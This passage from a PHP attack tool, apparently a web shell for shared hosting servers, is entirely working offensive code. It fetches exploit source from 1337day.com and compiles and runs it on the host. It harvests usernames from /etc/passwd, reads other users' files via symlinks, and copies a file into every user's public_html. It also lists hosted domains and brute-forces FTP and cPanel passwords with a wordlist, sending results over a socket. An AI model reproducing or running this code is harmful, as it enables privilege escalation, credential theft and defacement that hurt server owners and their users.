(.*?)<\/a>#si",$day1337,$exploits);
if($exploits[1])
{
fwrite($socket,"==================== Possible Exploits =====================\n");
print("==================== Possible Exploits =====================\n
");
ob_flush();flush();
foreach($exploits[1] as $i => $exploit)
{
fwrite($socket,"[+] ".$exploits[2][$i]."\n");
print("[+] ".$exploits[2][$i]."\n
");
fwrite($socket,"Trying pwn this server with this exploit\n");
print("Trying pwn this server with this exploit\n
");
$exploit_link = "http://www.1337day.com/exploit/$exploit";
fwrite($socket,"Downloading => ".$exploit_link."\n");
print("Downloading => ".$exploit_link."\n
");
ob_flush();flush();
$download = $this->day1337download($exploit_link);
if($download != false)
{
fwrite($socket,"File downloaded saved as $download\n");
print("File downloaded saved as $download\n
");
fwrite($socket,"Trying compile to $download file\n");
print("Trying compile to $download file\n
");
ob_flush();flush();
$withoutc = str_replace(".c","",$download);
@shell_exec("gcc $download -o $withoutc");
if(file_exists($withoutc))
{
fwrite($socket,"File compiled\n");
print("File compiled\n
");
fwrite($socket,"Setting chmod options\n");
print("Setting chmod options\n
");
@shell_exec("chmod +x $withoutc");
fwrite($socket,"Running exploit..!\n");
print("Running exploit..!\n
");
ob_flush();flush();
@shell_exec("./$withoutc");
}
else
{
fwrite($socket,"File doesn't compile\n");
print("File doesn't compile\n
");
ob_flush();flush();
}
}
}
fwrite($socket,"==================== Possible Exploits =====================\n");
print("==================== Possible Exploits =====================\n
");
ob_flush();flush();
}
else
{
fwrite($socket,"Not found any exploits\n");
print("Not found any exploits\n
");
ob_flush();flush();
}
}
private function curl($site,$post=null)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$site);
if($post != null)
{
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
}
$exec = curl_exec($ch);
curl_close($ch);
return $exec;
}
private function download($url)
{
preg_match('#\/exploits\/(.+)#si',$url,$filename);
$filename = $filename[1].".c";
$url = str_replace("exploits","download",$url);
$openurl = @file_get_contents($url);
if($openurl && file_put_contents($filename,$openurl)){
return $filename;
}
else
{
return false;
}
}
private function day1337download($url)
{
preg_match('#\/exploit\/(.+)#si',$url,$filename);
$filename = $filename[1].".c";
$data = $this->curl($url,"agree=Ok");
preg_match("#(.*?)<\/pre>#si",$data,$content);
if(file_put_contents($filename,$content))
{
return $filename;
}
else
{
return false;
}
}
private function grab_users($socket)
{
$read = file("/etc/passwd");
$x0x = "";
foreach($read as $text)
{
$text = trim($text);
$user = explode(":",$text);
$user = $user[0];
$xox .= $user."\r\n";
fwrite($socket,$user."\n");
print($user."\n");
}
fwrite($socket,"Grabbed ".count($read)." users from /etc/passwd\n");
print("Grabbed ".count($read)." users from /etc/passwd\n");
$save = $this->save_as("users",$xox,"wb");
if($save){fwrite($socket,"Saved into file as 'users'\n");print("Saved into file as 'users'\n");}else{fwrite($socket,"Doesn't save into file\n");print("Doesn't save into file\n");}
}
private function catln($file,$socket)
{
$savefile = uniqid();
@shell_exec("ln -s $file ".$savefile);
if(file_exists($savefile))
{
fwrite($socket,file_get_contents($savefile));
print(file_get_contents($savefile));
fwrite($socket,"File name $savefile\n");
print("File name $savefile\n");
}
else
{
fwrite($socket,"File doesn't read\n");
print("File doesn't read\n");
}
}
private function index($file,$socket)
{
$etc = file('/etc/passwd');
$count= 0;
foreach($etc as $txt)
{
$txt = trim($txt);
$user= explode(":",$txt);
$user= $user[0];
$path= "/home/$user/public_html/$file";
@shell_exec("cp $file $path");
if(file_exists($path))
{
fwrite($socket,"File created: ".$path."\n");
print("File created: ".$path."\n");
$count++;
}
}
fwrite($socket,"Completed\n");
print("Completed\n");
fwrite($socket,"File copied into $count dirs\n");
print("File copied into $count dirs\n");
}
private function getf($file,$socket)
{
$etc = file('/etc/passwd');
$count = 0;
foreach($etc as $txt)
{
$txt = trim($txt);
$user= explode(":",$txt);
$user= $user[0];
$path= "/home/$user/public_html/$file";
if(file_exists($path))
{
fwrite($socket,"File found: ".$path."\n");
print("File found: ".$path."\n");
$content = file_get_contents($path);
if($content)
{
$save = $this->save_as($user."-".$file,$content);
if($save){
fwrite($socket,"File is readable,saved into file named $user-$file\n");
print("File is readable,saved into file named $user-$file\n");
$count++;
}
else
{
fwrite($socket,"File is readable but current dir is not writable\n");
print("File is readable but current dir is not writable\n");
}
}
else
{
@shell_exec("ln -s $path $user-$file");
if(file_exists($user[0]."-".$file)){
fwrite($socket,"File is read with ln -s method,saved into file named $user-$file\n");
print("File is read with ln -s method,saved into file named $user-$file\n");
$count++;
}
else
{
fwrite($socket,"File is not readable\n");
print("File is not readable\n");
}
}
}
}
fwrite($socket,"Grabbed $count files\n");
print("Grabbed $count files\n");
}
private function domains($socket)
{
$x0x = "";
$c = 0;
$path = "/var/named";
$dir_handle = @opendir($path);
if($dir_handle)
{
while ($file = readdir($dir_handle))
{
if (!is_dir($path."/".$file) AND ($file != "..") AND ($file != ".")) {
$dosya = str_replace(".db","",$file);
fwrite($socket,$dosya."\n");
print($dosya."\n");
$x0x .= $dosya."\r\n";
$c++;
}
}
$save = $this->save_as("d0mains",$x0x,"wb");
if($save == false){fwrite($socket,"Got domains but can't save into a file this dir is not writable\n");print("Got domains but can't save into a file this dir is not writable\n");}
else
{
fwrite($socket,"Grabbed $c domains\n");
print("Grabbed $c domains\n");
fwrite($socket,"Saved into 'd0mains'\n");
print("Saved into 'd0mains'\n");
}
closedir($dir_handle);
}
else
{
fwrite($socket,"Doesn't read /var/named\n");
print("Doesn't read /var/named\n");
}
}
private function ftp($wordlist,$socket)
{
fwrite($socket,"Starting ftp crack..\n");
ob_flush();flush();
$open = file($wordlist);
$userx= array();
foreach($open as $pwd)
{
$pwd = trim($pwd);
fwrite($socket,"Password ".$pwd." trying on all users\n");
ob_flush();flush();
$users= file('/etc/passwd');
foreach($users as $user)
{
$user = trim($user);
$user = explode(":",$user);
$user = $user[0];
$userx[] = $user;
}
$userx = array_filter($userx);
$userx = array_unique($userx);
$userx = array_chunk($userx,25);
$multi = curl_multi_init();
foreach($userx as $u)
{
for($i=0;$i<=count($u)-1;$i++)
{
$curl[$i] = curl_init();
curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl[$i],CURLOPT_URL,"ftp://".$this->server_ip);
curl_setopt($curl[$i],CURLOPT_USERPWD,trim($u[$i]).":".$pwd);
curl_setopt($curl[$i],CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl[$i],CURLOPT_TIMEOUT,4);
curl_multi_add_handle($multi,$curl[$i]);
}
do
{
curl_multi_exec($multi,$active);
usleep(1);
}while($active>0);
foreach($curl as $cid => $cend)
{
$data[$cid] = curl_multi_getcontent($cend);
if(preg_match('#drw#si',$data[$cid]))
{
fwrite($socket,"Found username: $u[$cid] , password: $pwd\n");
print("Found username: $u[$cid] , password: $pwd\n");
$save = $this->save_as("ftps.txt","Found username: $u[$cid] , password: $pwd\r\n","ab");
ob_flush();flush();
}
else
{
fwrite($socket,"Not found $u[$cid]:$pwd\n");
print("Not found $u[$cid]:$pwd\n");
ob_flush();flush();
}
curl_multi_remove_handle($multi,$cend);
}
}
}
}
private function cpanel($wordlist,$socket)
{
fwrite($socket,"Starting cpanel crack..\n");
ob_flush();flush();
$open = file($wordlist);
$userx= array();
foreach($open as $pwd)
{
$pwd = trim($pwd);
fwrite($socket,"Password ".$pwd." trying on all users\n");
ob_flush();flush();
$users= file('/etc/passwd');
foreach($users as $user)
{
$user = trim($user);
$user = explode(":",$user);
$user = $user[0];
$userx[] = $user;
}
$userx = array_filter($userx);
$userx = array_unique($userx);
$userx = array_chunk($userx,25);
$multi = curl_multi_init();
foreach($userx as $u)
{
for($i=0;$i<=count($u)-1;$i++)
{
$curl[$i] = curl_init();
curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl[$i],CURLOPT_URL,"https://$this->server_ip:2083/login/?login_only=1");
curl_setopt($curl[$i],CURLOPT_POSTFIELDS,"user=".trim($u[$i])."&pass=$pwd");
curl_setopt($curl[$i],CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl[$i],CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl[$i],CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl[$i],CURLOPT_TIMEOUT,4);
curl_multi_add_handle($multi,$curl[$i]);
}
do
{
curl_multi_exec($multi,$active);
usleep(1);
}while($active>0);
foreach($curl as $cid => $cend)
{
$data[$cid] = curl_getinfo($cend);
if($data[$cid]['http_code'] != 401)
{
fwrite($socket,"Found username: $u[$cid] , password: $pwd\n");
print("Found username: $u[$cid] , password: $pwd\n");
$save = $this->save_as("cpanels.txt","Found username: $u[$cid] , password: $pwd\r\n","ab");
ob_flush();flush();
}
else
{
fwrite($socket,"Not found $u[$cid]:$pwd\n");
print("Not found $u[$cid]:$pwd\n");
ob_flush();flush();
}
curl_multi_remove_handle($multi,$cend);
}
}
}
}
private function save_as($filename,$content,$type='ab')
{
$fopen = fopen($filename,$type);
if($fopen)
{
fwrite($fopen,$content);
fclose($fopen);
return true;
}
else
{
return false;
}
}
}
?>